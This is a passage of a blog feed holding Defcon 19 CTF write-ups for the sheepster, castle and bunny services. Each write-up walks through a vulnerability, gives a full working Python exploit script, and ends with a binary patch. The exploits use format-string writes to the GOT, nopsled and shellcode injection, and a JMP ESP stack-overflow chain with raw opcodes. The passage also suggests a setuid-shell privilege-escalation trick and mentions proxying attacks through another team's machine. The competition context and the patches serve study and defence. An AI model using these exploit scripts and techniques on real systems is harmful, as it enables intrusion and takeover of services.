len(argv) &amp;lt; 2:&lt;br /&gt;    print "Usage: %s &amp;lt;dst&amp;gt; [&amp;lt;port=%i&amp;gt;]" % (argv[0], DEFAULT_PORT)&lt;br /&gt;    exit(1)&lt;br /&gt;  dst = argv[1]&lt;br /&gt;  port = int(argv[2]) if len(argv)&amp;gt;2 else DEFAULT_PORT&lt;br /&gt;  try:&lt;br /&gt;    exploit(dst, port)&lt;br /&gt;  except KeyboardInterrupt:&lt;br /&gt;    print "Interrupted"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Funny exploit&lt;/h3&gt;&lt;br /&gt;Blog filename is stored in the .bss at 0x0804E710 and filled by:&lt;br /&gt;&lt;pre class="brush: c"&gt;memcpy(filename, "./log", 6u);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To steal flags, use the format string to rewrite "./log" to "./key", then use "read" command to read the flag, encoded.&lt;br /&gt;&lt;br /&gt;To overwrite flag, we could use the "write" command. Unfortunately, the file is opened in append mode and a prefix of "&amp;lt;user&amp;gt;: " is enforced so, unless ddtek allows such overwrites in their scoring engine, it should not work.&lt;br /&gt;&lt;br /&gt;More fun? Suppose that the filename is not in the .bss but at a unknown address - for instance initialized with malloc(). For an unknown reason, the program stores the address of the filename in a stack buffer, in hexadecimal text format with:&lt;br /&gt;&lt;pre class="brush: c"&gt;sprintf(filename_address, "0x%x\n", filename);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Use the format string to leak this stack buffer and obtain the address of the filename. To read the result, use the "user" parameter as a pattern to find in the result of the read command ("&amp;lt;user&amp;gt;: " is not encoded).&lt;br /&gt;&lt;br /&gt;Exploit code:&lt;br /&gt;&lt;pre class="brush: c"&gt;#!/usr/bin/python&lt;br /&gt;# Defcon 2011 CTF - sheepster - funny&lt;br /&gt;import re&lt;br /&gt;from sheepster import *&lt;br /&gt;&lt;br /&gt;def leak_filename_address(s, user):&lt;br /&gt;  offset = 453&lt;br /&gt;  fmt  = "%" + str(offset)   + "$08x"  # 4 bytes&lt;br /&gt;  fmt += "%" + str(offset+1) + "$08x"  # 4 bytes&lt;br /&gt;  fmt += "%" + str(offset+2) + "$04hx" # 2 bytes&lt;br /&gt;  if not valid_format_string(fmt, 10):&lt;br /&gt;    print "[-] Leak format string is not valid"&lt;br /&gt;    exit(1)&lt;br /&gt;  try:&lt;br /&gt;    write(s, fmt)&lt;br /&gt;    r = read_find(s, user)&lt;br /&gt;  except Exception, e:&lt;br /&gt;    if str(e).startswith("read_find(): "):&lt;br /&gt;      print "[-] Write+read failed, please retry"&lt;br /&gt;      exit(1)&lt;br /&gt;    else:&lt;br /&gt;      raise e&lt;br /&gt;  # address was written with sprintf(stack_buf, "0x%x\n", filename)&lt;br /&gt;  # so parse hexadecimal text format&lt;br /&gt;  r = "".join([r[i:][:8].decode("hex")[::-1] for i in range(0,len(r),8)])&lt;br /&gt;  return int(r.strip(), 16)&lt;br /&gt;&lt;br /&gt;def read_flag(s):&lt;br /&gt;  text = read(s)&lt;br /&gt;  end = text.find("\neof\n$")&lt;br /&gt;  if end == -1:&lt;br /&gt;    print "[-] Cannot find eof"&lt;br /&gt;    return ""&lt;br /&gt;  text = text[:end]&lt;br /&gt;  return encode(text)&lt;br /&gt;&lt;br /&gt;def exploit(dst, port):&lt;br /&gt;  s = connect(dst, port)&lt;br /&gt;  user = randalnum(8)&lt;br /&gt;  print "[*] User: %s" % user&lt;br /&gt;  welcome(s, user)&lt;br /&gt;  &lt;br /&gt;  # leak filename address instead of using its value in .bss (0x0804E710)&lt;br /&gt;  # could have been cool if adress was malloc'd/randomized&lt;br /&gt;  filename_address = leak_filename_address(s, user)&lt;br /&gt;  print "[*] Leaked filename address: 0x%08x" % filename_address&lt;br /&gt;  &lt;br /&gt;  # change filename&lt;br /&gt;  write_at_address(s, "key", filename_address+2) # skip "./"&lt;br /&gt;  &lt;br /&gt;  # read flag&lt;br /&gt;  flag = read_flag(s)&lt;br /&gt;  if re.match("^[0-9a-f]{40}$", flag) is None:&lt;br /&gt;    print "[-] Read flag failed :( retry?"&lt;br /&gt;  else:&lt;br /&gt;    print "[*] Read flag: %s" % flag&lt;br /&gt;  &lt;br /&gt;  # overwrite flag&lt;br /&gt;  team_key = flag[::-1]&lt;br /&gt;  print "[*] Overwrite with team key: %s" % team_key&lt;br /&gt;  write(s, team_key)&lt;br /&gt;&lt;br /&gt;if __name__=='__main__':&lt;br /&gt;  if len(argv) &amp;lt; 2:&lt;br /&gt;    print "Usage: %s &amp;lt;dst&amp;gt; [&amp;lt;port=%i&amp;gt;]" % (argv[0], DEFAULT_PORT)&lt;br /&gt;    exit(1)&lt;br /&gt;  dst = argv[1]&lt;br /&gt;  port = int(argv[2]) if len(argv)&amp;gt;2 else DEFAULT_PORT&lt;br /&gt;  try:&lt;br /&gt;    exploit(dst, port)&lt;br /&gt;  except KeyboardInterrupt:&lt;br /&gt;    print "Interrupted"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;br /&gt;Nop the conditional jump after the flag check in order to always call fputs and never fprintf.&lt;br /&gt;This turns the vulnerable code:&lt;br /&gt;&lt;pre class="brush: c"&gt;if ( flag == 1 )&lt;br /&gt;  fputs(format, stream);&lt;br /&gt;else&lt;br /&gt;  fprintf(stream, format);      // vuln&lt;br /&gt;&lt;/pre&gt;into:&lt;br /&gt;&lt;pre class="brush: c"&gt;if ( 1 )&lt;br /&gt;  fputs(format, stream);&lt;br /&gt;else&lt;br /&gt;  fprintf(stream, format);      // never called&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It gives the following 3-bytes patch in IDA .dif format:&lt;br /&gt;&lt;pre class="brush: plain"&gt;000024B9: 75 90&lt;br /&gt;000024BA: 17 90&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Open question&lt;/h3&gt;&lt;br /&gt;What would happen if:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the home directory is writeable by user sheepster (maybe to be able to create "./log" if it does not exist?)&lt;/li&gt;&lt;li&gt;something (cron by the organizers?) regularily chowns this file to root (what for?)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Our guess:&lt;br /&gt;&lt;pre class="brush: bash"&gt;sheepster:~$ cp /bin/sh log&lt;br /&gt;sheepster:~$ chmod u+s log&lt;br /&gt;&lt;/pre&gt;Now that something does:&lt;br /&gt;&lt;pre class="brush: plain"&gt;root:~# chown root /home/sheepster/log&lt;br /&gt;&lt;/pre&gt;and unlike Linux, setuid bit remains...&lt;br /&gt;&lt;pre class="brush: plain"&gt;sheepster:~$ ./log -i&lt;br /&gt;# id&lt;br /&gt;# uid=30013(sheepster) gid=30013(sheepster) euid=0(root) groups=30013(sheepster)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;What do you think?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-7549548911525069766?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/7549548911525069766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-sheepster.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/7549548911525069766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/7549548911525069766'/><link rel='alternate' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-sheepster.html' title='Defcon 19 CTF - Sheepster'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-8745147610683915739</id><published>2011-08-11T18:17:00.000-07:00</published><updated>2011-08-13T11:16:54.310-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='castle'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='sandy'/><category scheme='http://www.blogger.com/atom/ns#' term='format string'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 19 CTF - Castle</title><content type='html'>&lt;pre class="brush: plain"&gt;castle: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), &lt;br /&gt;dynamically linked (uses shared libs), for FreeBSD 8.2, stripped&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/routardz/castle"&gt;This service&lt;/a&gt; listens in IPv6 on port 7629. When connecting, the service drops its privileges and forks to call the function at offset 0x08049340. This function begins reading a buffer sent to the socket, ending by "EOF\n". The read buffer is then written in a temporary file, created by a call to the mkstemp() function with the "/tmp/castleXXXXXXXX" template. Finally, castle redirects stdin, stdout and stderr to the socket, using the dup2() function and the  "/usr/local/bin/sandy" binary is called with "-o &amp;lt;our ipv6&amp;gt; -d -s " and the temporary file as parameters.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;In order for it to work properly, castle has to be able to write in the /tmp/ folder. This may be an idea from ddtek to compel the teams to leave at least one writable directory on the filesystem. On our server, we changed rights of the /tmp/ folder so that it belonged to the castle user, the only user able to write in it. That's all for the "castle" binary.&lt;br /&gt;&lt;br /&gt;We shall now focus on the "sandy" binary (which was placed in the wrong /usr/local/&lt;b&gt;s&lt;/b&gt;bin/ folder on first day of the CTF...) which really contains the exploitable code.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;sandy: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), &lt;br /&gt;dynamically linked (uses shared libs), for FreeBSD 8.2, stripped&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/routardz/sandy"&gt;This binary&lt;/a&gt; is larger than the previous one: its size is 120Kb while castle's one is 9Kb. sandy begins by scheduling an alarm signal using the alarm() function with 5 seconds as parameter. It then retrieves the passed arguments and checks on them:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;if a file is passed, it is opened, read and stored in a buffer&lt;/li&gt;&lt;li&gt;if argument "d" is passed, the previous file is deleted&lt;/li&gt;&lt;li&gt;if argument "o" is passed, the IPv6 socket address is checked&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;When all arguments are correct, the buffer read from the file is sent to the function at 0x8057030, in charge of parsing it. The parser understands a kind of simplified C language, using the following keywords, operands and functions:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;for, while, switch, case, if, else, return, do&lt;/li&gt;&lt;li&gt;int, str, length, isnull, type&lt;/li&gt;&lt;li&gt;fopen, fclose, fprintf, fread, fwrite, fork, socket, listen, accept, fgets, fputs&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2&gt;Polling&lt;/h2&gt;&lt;br /&gt;The polling sent by ddtek is:&lt;br /&gt;&lt;script class="brush: c" type="syntaxhighlighter"&gt;&lt;![CDATA[i = fgets(stdin);j = 15;k = "Hello World!\n";fputs(stdout, i + " goodbye\n");EOF]]&gt;&lt;/script&gt;&lt;br /&gt;The polling reads a string sent on the socket and, in return, writes what has been read concatenated to the " goodbye\n" string.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Exploit&lt;/h2&gt;&lt;br /&gt;What first comes to mind is to read and write the token using a combination of the fopen/fread/fwrite/fclose functions. But, this is not all so simple and we note that the fopen() function is limited on purpose and can not be used. However, the fprintf() and fclose() functions do really call their libc counterparts.&lt;br /&gt;&lt;br /&gt;The exploit consists in sending to the service a code with a format string vulnerability and to use it. We decided to replace the fclose() pointer in the GOT by an address from the stack on which our shellcode, preceded by a big nopsled, is stored.&lt;br /&gt;&lt;br /&gt;&lt;script class="brush: python" type="syntaxhighlighter"&gt;&lt;![CDATA[def exploit(s, target, shellcode):        '''Exploit for castle service'''        FCLOSE_GOT_ADDR = 0x80668b4        f = HackLib.formatstring(FCLOSE_GOT_ADDR, 0xbfbfdf20, 174, 16).getFS()        # f  = "\xb4\x68\x06\x08\xb5\x68\x06\x08\xb6\x68\x06\x08\xb7\x68\x06\x08"        # f += "%1$16x%174$n%1$191x%175$n%1$224x%176$n%1$256x%177$n"        buffer  = '##\n'        buffer += 'fprintf(stdout, "%s");\n' % f        buffer += 'fclose(stdout);\n'        buffer += "%s%s\n" % (HackLib.buildnopslep(0x800, "A"), shellcode)        buffer += 'EOF\n'        s.connect((target, 7629))        s.sendall(buffer)]]&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The first two "#" are there to align the format string.&lt;/li&gt;&lt;li&gt;The shellcode must fork to bypass the signal scheduled by the alarm() function.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;br /&gt;The quick-and-dirty patch consists in replacing the fprintf word in the sandy parser by another random word, or in replacing the fprintf handler by a null function.&lt;br /&gt;&lt;br /&gt;Sometimes after having patched sandy, we saw it was still possible to exploit us. In fact, ddtek  regularly replaced the sandy binary on the filesystem by the original one, without warning the teams... Could the script in charge of correcting the wrong sandy binary location still have been running?&lt;br /&gt;&lt;br /&gt;The castle binary also had to be patched for it to call the corrected sand&lt;b&gt;i&lt;/b&gt; binary instead of the original sand&lt;b&gt;y&lt;/b&gt;, regularly overwritten.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Assessing the number of valid tokens stolen&lt;/h2&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;Team             IPv6 address        Stolen flags  Period&lt;br /&gt;---------------------------------------------------------------------------------------------------&lt;br /&gt;Shellphish       dc19:c7f:2011:1::2  33            From 2011-08-06 10:08:09 to 2011-08-06 13:59:44&lt;br /&gt;PLUS@Postech     dc19:c7f:2011:2::2  107           From 2011-08-06 10:01:42 to 2011-08-07 13:08:11&lt;br /&gt;Routards         dc19:c7f:2011:3::2  -             -&lt;br /&gt;Hates Irony      dc19:c7f:2011:4::2  64            From 2011-08-06 10:03:27 to 2011-08-07 11:53:11&lt;br /&gt;lollersk8ers     dc19:c7f:2011:5::2  0             -&lt;br /&gt;PPP              dc19:c7f:2011:6::2  0             -&lt;br /&gt;IV               dc19:c7f:2011:7::2  8             From 2011-08-06 15:26:15 to 2011-08-07 12:41:44&lt;br /&gt;VelociROPtors    dc19:c7f:2011:8::2  154           From 2011-08-06 10:05:23 to 2011-08-07 13:28:07&lt;br /&gt;European Nopsled dc19:c7f:2011:9::2  132           From 2011-08-06 10:05:42 to 2011-08-07 13:03:18&lt;br /&gt;sutegoma2        dc19:c7f:2011:a::2  17            From 2011-08-06 15:55:56 to 2011-08-06 20:23:54&lt;br /&gt;int3pids         dc19:c7f:2011:b::2  118           From 2011-08-06 10:05:52 to 2011-08-06 21:00:44&lt;br /&gt;ACME Pharm       dc19:c7f:2011:c::2  119           From 2011-08-06 10:05:48 to 2011-08-07 12:58:05&lt;br /&gt;--------------------------------------------------------------------------------------------------&lt;br /&gt;TOTAL            -                   752           From 2011-08-06 10:01:42 to 2011-08-07 13:28:07&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is not the real score as the tokens submission system failed several times and we had to submit tokens by hand without using our framework. Next year, our framework will be modified to handle all ddtek system failures ;)&lt;br /&gt;&lt;br /&gt;As a consequence, this table sums up the minimum number of validated tokens for this service.&lt;br /&gt;&lt;br /&gt;The 8 IV tokens have certainly not been stolen from them as they had redirected services to a virtual machine (not quite fairplay, isn't it? But if ddtek doesn't do anything about it two years in a row, why not take advantage of it?). However, we used this virtual machine as a proxy to attack other teams from the IV network, in order to bypass blacklisting.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-8745147610683915739?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/8745147610683915739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-castle.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/8745147610683915739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/8745147610683915739'/><link rel='alternate' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-castle.html' title='Defcon 19 CTF - Castle'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-7308774344832806271</id><published>2011-08-11T16:38:00.000-07:00</published><updated>2011-08-13T11:09:10.776-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bunny'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 19 CTF - Bunny</title><content type='html'>&lt;pre class="brush: plain"&gt;bunny: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD),&lt;br /&gt;dynamically linked (uses shared libs), for FreeBSD 8.2, stripped&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://sites.google.com/site/routardz/bunny"&gt;This service&lt;/a&gt; classically listens on port 15323 and drops to privileges of user "bunny". For every connection, a child is forked and handler function is called.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Decompilation by &lt;a href="http://www.hex-rays.com/idapro/"&gt;IDA Pro&lt;/a&gt; with &lt;a href="http://www.hex-rays.com/"&gt;Hex-Rays&lt;/a&gt; gives:&lt;br /&gt;&lt;pre class="brush: c"&gt;int __cdecl handler(int first_fd)&lt;br /&gt;{&lt;br /&gt;  int fd; // ebx@1&lt;br /&gt;  unsigned int seed; // eax@1&lt;br /&gt;  int newport; // ST20_4@2&lt;br /&gt;  int newsock; // [sp+24h] [bp-44h]@2&lt;br /&gt;  unsigned int i; // [sp+28h] [bp-40h]@1&lt;br /&gt;  struct sockaddr addr; // [sp+2Ch] [bp-3Ch]@3&lt;br /&gt;  socklen_t addr_len; // [sp+48h] [bp-20h]@1&lt;br /&gt;  char buf[12]; // [sp+4Ch] [bp-1Ch]@1&lt;br /&gt;  unsigned int hops; // [sp+58h] [bp-10h]@1&lt;br /&gt;&lt;br /&gt;  fd = first_fd;&lt;br /&gt;  *(_DWORD *)buf = 0;&lt;br /&gt;  *(_DWORD *)&amp;buf[4] = 0;&lt;br /&gt;  *(_WORD *)&amp;buf[8] = 0;&lt;br /&gt;  addr_len = 28;&lt;br /&gt;  seed = time(0);&lt;br /&gt;  srand(seed);&lt;br /&gt;  hops = rand() % 30 + 5;&lt;br /&gt;  printf_sock(first_fd, "Check out these %d hops\n", hops);&lt;br /&gt;  i = 0;&lt;br /&gt;  if ( hops )&lt;br /&gt;  {&lt;br /&gt;    do&lt;br /&gt;    {&lt;br /&gt;      newport = rand() % 64511 + 1024;&lt;br /&gt;      close(fd);&lt;br /&gt;      newsock = bind_listen(newport);&lt;br /&gt;      do&lt;br /&gt;        fd = accept(newsock, &amp;addr, &amp;addr_len);&lt;br /&gt;      while ( fd == -1 );&lt;br /&gt;      close(newsock);&lt;br /&gt;      print_sock(fd, "nop nop nop!\n", 0);&lt;br /&gt;      recv_sock(fd, (int)&amp;buf[i], 1u);&lt;br /&gt;      if ( strstr(buf, "/bin/sh") )&lt;br /&gt;        if_binsh(fd, 0);&lt;br /&gt;      ++i;&lt;br /&gt;    }&lt;br /&gt;    while ( i &amp;lt; hops );&lt;br /&gt;  }&lt;br /&gt;  print_sock(fd, "You made it!\n", 0);&lt;br /&gt;  close(fd);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;First, the server returns a number of hops determined by srand(time(0)) at connection, minimum 5 and maximum 34.&lt;br /&gt;&lt;br /&gt;Then, the server enters the following loop:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;close the previous connection&lt;/li&gt;&lt;li&gt;bind on rand() unprivileged (&amp;gt;1024) port&lt;/li&gt;&lt;li&gt;receive 1 byte and store it on a stack buffer of size 12&lt;/li&gt;&lt;li&gt;continue the loop if iterations &amp;lt; hops&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;The stack after the buffer is as follow:&lt;br /&gt;&lt;pre class="brush: c"&gt;&amp;nbsp; char buf[12]; // [sp+4Ch] [bp-1Ch]@1&lt;br /&gt;&amp;nbsp; unsigned int hops; // [sp+58h] [bp-10h]@1&lt;/pre&gt;&lt;br /&gt;We can rewrite the hops variable if hops &amp;gt; 12, and modify it to increment the maximum number of iterations, allowing us to write as many bytes as we want on the stack: this is a stack-based buffer overflow.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Quick exploit&lt;/h3&gt;&lt;br /&gt;Synchronize the clocks, re-implement &lt;a href="http://fxr.watson.org/fxr/source/stdlib/rand.c?v=FREEBSD-LIBC#L50"&gt;FreeBSD libc &lt;i&gt;srand()&lt;/i&gt; &amp;amp; &lt;i&gt;rand()&lt;/i&gt;&lt;/a&gt;, create a function to iterate the loop, and use it to exploit the stack-based buffer overflow with a JMP ESP + payload. We use the JMP ESP (FF E4) found in FreeBSD 8.2 libc at 0x2816065d.&lt;br /&gt;&lt;br /&gt;Disadvantage: this requires many TCP connections, one for every byte we rewrite on the stack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Better exploit&lt;/h3&gt;&lt;br /&gt;The string "/bin/sh" in the buffer triggers ddtek's backdoor, which does a &lt;i&gt;malloc()&lt;/i&gt; then two &lt;i&gt;recv()&lt;/i&gt; for size - &lt;i&gt;recv(4)&lt;/i&gt; - then data - &lt;i&gt;recv(size)&lt;/i&gt; - where size &amp;lt;= 0x400. Since we do not know ddtek's key we will fail the other checks and this memory will be freed. However, the data remains in memory at the address of the malloc (not zeroed) and this address remains untouched in the call stack.&lt;br /&gt;&lt;br /&gt;Thus, we can build the following exploit:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;trigger "/bin/sh" backdoor, store payload there&lt;/li&gt;&lt;li&gt;buffer overflow with JMP ESP + stub to retrieve malloc address on call stack and jump to it&lt;/li&gt;&lt;li&gt;we can put the stub inside the buffer and use JMP ESP + short JMP&lt;/li&gt;&lt;li&gt;total hops (number of new TCP connections) needed is only 38&lt;/li&gt;&lt;li&gt;only depends on the address of JMP ESP&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Exploit code:&lt;br /&gt;&lt;pre class="brush: c"&gt;#!/usr/bin/python&lt;br /&gt;# Defcon 2011 CTF - bunny&lt;br /&gt;import os, socket, time, random&lt;br /&gt;from struct import pack, unpack&lt;br /&gt;from sys import argv, exit&lt;br /&gt;&lt;br /&gt;DEFAULT_PORT = 15323&lt;br /&gt;DEBUG = False&lt;br /&gt;JMP_ESP = 0x2816065d # FreeBSD 8.2&lt;br /&gt;MAXTRIES = 5&lt;br /&gt;&lt;br /&gt;# reimplement FreeBSD's libc srand/rand&lt;br /&gt;RAND_MAX = 0x7fffffff&lt;br /&gt;&lt;br /&gt;def srand(seed):&lt;br /&gt;  global RAND_NEXT&lt;br /&gt;  RAND_NEXT = seed&lt;br /&gt;&lt;br /&gt;def rand():&lt;br /&gt;  global RAND_NEXT&lt;br /&gt;  if RAND_NEXT == 0:&lt;br /&gt;    RAND_NEXT = 123459876&lt;br /&gt;  hi = RAND_NEXT / 127773&lt;br /&gt;  lo = RAND_NEXT % 127773&lt;br /&gt;  x = 16807 * lo - 2836 * hi&lt;br /&gt;  if x &amp;lt; 0:&lt;br /&gt;    x += 0x7fffffff&lt;br /&gt;  RAND_NEXT = x &amp; 0xFFFFFFFF&lt;br /&gt;  return RAND_NEXT % (RAND_MAX + 1)&lt;br /&gt;&lt;br /&gt;def randchars(size):&lt;br /&gt;  return "".join([chr(random.randint(0,255)) for i in range(size)])&lt;br /&gt;&lt;br /&gt;def connect(dst, port):&lt;br /&gt;  for retry in range(MAXTRIES):&lt;br /&gt;    try:&lt;br /&gt;      s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;      s.connect((dst, port))&lt;br /&gt;      return s&lt;br /&gt;    except socket.error, e:&lt;br /&gt;      if retry==MAXTRIES-1:&lt;br /&gt;        print "Error: %s, too many fails, exiting" % repr(e)&lt;br /&gt;        exit(1)&lt;br /&gt;      print "Error: %s, retrying..." % repr(e)&lt;br /&gt;      time.sleep(0.1)&lt;br /&gt;&lt;br /&gt;def recv(s, size=4096):&lt;br /&gt;  d = s.recv(size)&lt;br /&gt;  if DEBUG: print "S: %r" % d&lt;br /&gt;  return d&lt;br /&gt;&lt;br /&gt;def send(s, d):&lt;br /&gt;  if DEBUG: print "C: %r" % d&lt;br /&gt;  return s.send(d)&lt;br /&gt;&lt;br /&gt;def correct_seed_with_hops(seed, hops):&lt;br /&gt;  for i in range(-15,15):&lt;br /&gt;    srand(seed+i)&lt;br /&gt;    h = rand() % 30 + 5&lt;br /&gt;    if h == hops:&lt;br /&gt;      return seed+i&lt;br /&gt;  print "Error: failed to adjust seed with hops. Server time is different? (or service patched)"&lt;br /&gt;  exit(1)&lt;br /&gt;&lt;br /&gt;def walk(s, dst, buf, hops=0):&lt;br /&gt;  for i in range(len(buf)):&lt;br /&gt;    newport = rand() % 64511 + 1024&lt;br /&gt;    print "[+] Hop #%i, connecting to port %i" % (hops+i+1, newport)&lt;br /&gt;    s.close()&lt;br /&gt;    time.sleep(0.1)&lt;br /&gt;    s = connect(dst, newport)&lt;br /&gt;    recv(s)&lt;br /&gt;    send(s, buf[i])&lt;br /&gt;  return s&lt;br /&gt;&lt;br /&gt;def exploit(dst, port):&lt;br /&gt;  while True: # auto-retry seed&lt;br /&gt;    s = connect(dst, port)&lt;br /&gt;    estimated_seed = int(time.time())&lt;br /&gt;    print "[*] Estimated seed: 0x%08x" % estimated_seed&lt;br /&gt;    &lt;br /&gt;    hops = int(recv(s).split(' ')[3])&lt;br /&gt;    # use that value to adjust seed if needed&lt;br /&gt;    seed = correct_seed_with_hops(estimated_seed, hops)&lt;br /&gt;    if seed != estimated_seed:&lt;br /&gt;      print "[*] Corrected seed: 0x%08x" % seed&lt;br /&gt;    &lt;br /&gt;    if hops &amp;gt;= 13:&lt;br /&gt;      break&lt;br /&gt;    &lt;br /&gt;    print "[!] Hops %i &amp;lt; 13, exploitation not possible, retrying..." % hops&lt;br /&gt;    time.sleep(1)&lt;br /&gt;  &lt;br /&gt;  sc = "\xcc" # your shellcode&lt;br /&gt;  &lt;br /&gt;  # walk to the crypto backdoor, '/bin/sh' is the trigger&lt;br /&gt;  s = walk(s, dst, "/bin/sh") # 7 hops&lt;br /&gt;  &lt;br /&gt;  # enter the crypto backdoor&lt;br /&gt;  recv(s, 32) # receive random bytes&lt;br /&gt;  send(s, pack("&amp;lt;I", len(sc))) # send size&lt;br /&gt;  send(s, sc) # send data to malloc() area&lt;br /&gt;  &lt;br /&gt;  buf  = randchars(5)&lt;br /&gt;  buf += pack("&amp;lt;I", 7+5+4+16+4+2) # size&lt;br /&gt;  buf += "\x8b\x84\x24\x5c\xfe\xff\xff" # 1) mov eax,[esp-420]: malloc address&lt;br /&gt;  buf += "\xff\xe0" # jmp eax&lt;br /&gt;  buf += randchars(7)&lt;br /&gt;  buf += pack("&amp;lt;I", JMP_ESP) # eip&lt;br /&gt;  buf += "\xeb" + chr(0xFE -20) # jump to 1)&lt;br /&gt;  &lt;br /&gt;  # walk to shellcode! total hops needed: 38&lt;br /&gt;  s = walk(s, dst, buf, 7)&lt;br /&gt;  &lt;br /&gt;  print "[x] Done"&lt;br /&gt;  recv(s)&lt;br /&gt;  s.close()&lt;br /&gt;&lt;br /&gt;if __name__=='__main__':&lt;br /&gt;  if len(argv) &amp;lt; 2:&lt;br /&gt;    print "Usage: %s &amp;lt;dst&amp;gt; [&amp;lt;port=%i&amp;gt;]" % (argv[0], DEFAULT_PORT)&lt;br /&gt;    exit(1)&lt;br /&gt;  dst = argv[1]&lt;br /&gt;  port = int(argv[2]) if len(argv)&amp;gt;2 else DEFAULT_PORT&lt;br /&gt;  try:&lt;br /&gt;    exploit(dst, port)&lt;br /&gt;  except KeyboardInterrupt:&lt;br /&gt;    print "Interrupted"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;br /&gt;Change handler's ret instruction with exit system call: just after &lt;i&gt;xor eax,eax&lt;/i&gt; at 0x0804981a, put &lt;i&gt;inc eax; int 0x80&lt;/i&gt;. It gives the following 3-bytes patch in IDA .dif format:&lt;br /&gt;&lt;pre class="brush: plain"&gt;0000181C: 5B 40&lt;br /&gt;0000181D: 5E CD&lt;br /&gt;0000181E: 5F 80&lt;/pre&gt;&lt;br /&gt;Stack-buffer overflow will still be there but not exploitable, at least in this way. Also, unlike other teams who patched the number of hops to be &amp;lt; 13, this does not change how the server replies and therefore cannot be detected.&lt;br /&gt;&lt;br /&gt;Note that changing system time to prevent exploitation may not be a good idea, because even ddtek would not be able to connect to their backdoor, therefore decreasing SLA (well, if ddtek notices it).&lt;div 